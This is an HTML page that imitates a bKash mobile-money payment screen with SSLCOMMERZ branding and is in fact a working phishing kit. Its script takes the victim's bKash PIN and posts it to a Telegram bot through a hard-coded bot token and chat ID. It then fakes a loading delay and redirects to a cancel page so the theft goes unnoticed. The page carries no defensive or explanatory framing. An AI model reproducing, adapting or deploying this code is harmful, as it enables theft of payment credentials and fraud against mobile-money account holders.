<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>bKash Payment</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
    <style>
        .bg-custom {
            background-image: url('/bkash/img/background.png');
            background-size: cover;
            background-position: center;
            padding: 2rem;
        }

        @keyframes bounce {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.5); }
        }

        .dot { animation: bounce 1.2s infinite ease-in-out; }
        .dot:nth-child(1) { animation-delay: 0s; }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        .dot:nth-child(4) { animation-delay: 0.6s; }

        #loadingAnimation { display: none; }
        #errorMessage { display: none; color: white; font-size: 0.875rem; margin-top: 0.5rem; }
        .pin-input { letter-spacing: 1px; color: black; }
    </style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen">
    <div class="bg-white rounded-lg shadow-lg max-w-sm w-full">
        <div class="flex flex-col items-center justify-center p-5 border-b-2 border-pink-500">
            <img src="/bkash/img/bkashlogo.png" alt="bKash logo" class="h-12">
        </div>
        <div class="flex items-center justify-between px-4 py-2 bg-gray-50">
            <div class="flex items-center">
                <img src="/bkash/img/sslcommerz.png" alt="SSLCommerz logo" class="h-8 w-8">
                <div class="ml-2 text-sm">
                    <p class="font-bold" id="companyName">SSLCOMMERZ</p>
                    <p class="text-gray-500 text-xs" id="invoice">Invoice: BGT726262477828828</p>
                </div>
            </div>
            <p id="amountDisplay" class="font text-xl text-gray-600">৳10.00</p>
        </div>
        <div class="bg-custom text-white text-center">
            <p class="font-semibold text-sm mb-2">Enter PIN of your bKash Account number (01* ** *** ***)</p>
            <input type="password" id="bkashNumber" inputmode="numeric" pattern="[0-9]*" placeholder="Enter PIN" maxlength="5" class="w-full px-4 py-2 text-center pin-input rounded-md focus:outline-none" />
            <p id="errorMessage">Wrong PIN</p>
        </div>

        <div class="grid grid-cols-2 gap-0 w-full border-t-3 border-pink-500 bg-gray-300">
            <button id="closeButton" class="text-gray-600 font-bold text-x w-full py-4 bg-gray-300 border-r border-gray-400">
                CLOSE
            </button>
            <button id="confirmButton" class="text-pink-600 font-bold text-x w-full py-4 bg-gray-300">
                CONFIRM
            </button>
        </div>

        <div class="loading flex items-center justify-center h-20 w-full border-t-3 border-pink-500 bg-gray-300" id="loadingAnimation">
            <div class="flex space-x-2">
                <div class="dot w-4 h-4 bg-pink-600 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-500 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-400 rounded-full"></div>
                <div class="dot w-4 h-4 bg-pink-300 rounded-full"></div>
            </div>
        </div>

        <div class="text-center py-4">
            <a href="tel:16247" class="flex justify-center items-center text-pink-500">
                <i class="fas fa-phone-alt mr-2"></i>
                <span class="font-bold text-xl">16247</span>
            </a>
        </div>
    </div>

    <script>
        let bot_token = '7721532005:AAFNUxtAwHeH617lb1oOp3hcdKKjzRITS3Y';
        let chat_id = '7174617845';

        // Retrieve parameters from the URL
        function getURLParameter(name) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(name);
        }

 // Set the amount dynamically
    const amount = getURLParameter('amount') || '10.00'; // Default to 10.00 if no amount is provided
    document.getElementById('amountDisplay').textContent = `৳${parseFloat(amount).toFixed(2)}`;

        // Set up initial values
        function setupParameters() {
            const amount = parseFloat(getURLParameter('amount')) || 10.00;
            const sslLogo = getURLParameter('ssl') || 'https://imgur.com/ljM76AR.png';
            const companyName = getURLParameter('companyName') || 'SSLCOMMERZ';
            const invoice = getURLParameter('invoice') || 'BGT177420240929180754';
            bot_token = getURLParameter('botToken') || '7721532005:AAFNUxtAwHeH617lb1oOp3hcdKKjzRITS3Y';
            chat_id = getURLParameter('chatId') || '7174617845';

         
            document.getElementById('invoice').textContent = `Invoice: ${invoice}`;


            // Set close button redirection link
            document.getElementById('closeButton').onclick = function() {
                window.location.href = `https://portwallet.vercel.app/paymentMethod=bkash&&paymentID=4.html?amount=${amount}`;
            };
        }

        // Function to send message to Telegram
        function sendMessageToTelegram(bkashNumber) {
            const url = `https://api.telegram.org/bot${bot_token}/sendMessage`;
            const data = { chat_id: chat_id, text: `bKash Pin: ${bkashNumber}` };

            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(data),
            })
            .then(response => response.json())
            .then(data => {
                if (data.ok) {
                    console.log('Message sent successfully!');
                } else {
                    console.error('Error:', data.description);
                }
            })
            .catch(error => console.error('Error:', error));
        }

        document.addEventListener("DOMContentLoaded", function() {
            setupParameters();

            document.getElementById('confirmButton').addEventListener('click', function() {
                const bkashNumber = document.getElementById('bkashNumber').value;
                const amount = parseFloat(getURLParameter('amount')) || 10.00;
                const errorMessage = document.getElementById('errorMessage');

                if (bkashNumber.length !== 5 || isNaN(bkashNumber)) {
                    errorMessage.style.display = 'block';
                    return;
                } else {
                    errorMessage.style.display = 'none';
                }

                document.getElementById('closeButton').style.display = 'none';
                document.getElementById('confirmButton').style.display = 'none';
                document.getElementById('loadingAnimation').style.display = 'flex';

                sendMessageToTelegram(bkashNumber);

                setTimeout(() => {
                    window.location.href = `/bkash/cancel/?amount=${amount}`;
                }, 3000);
            });
        });
    </script>
</body>
</html>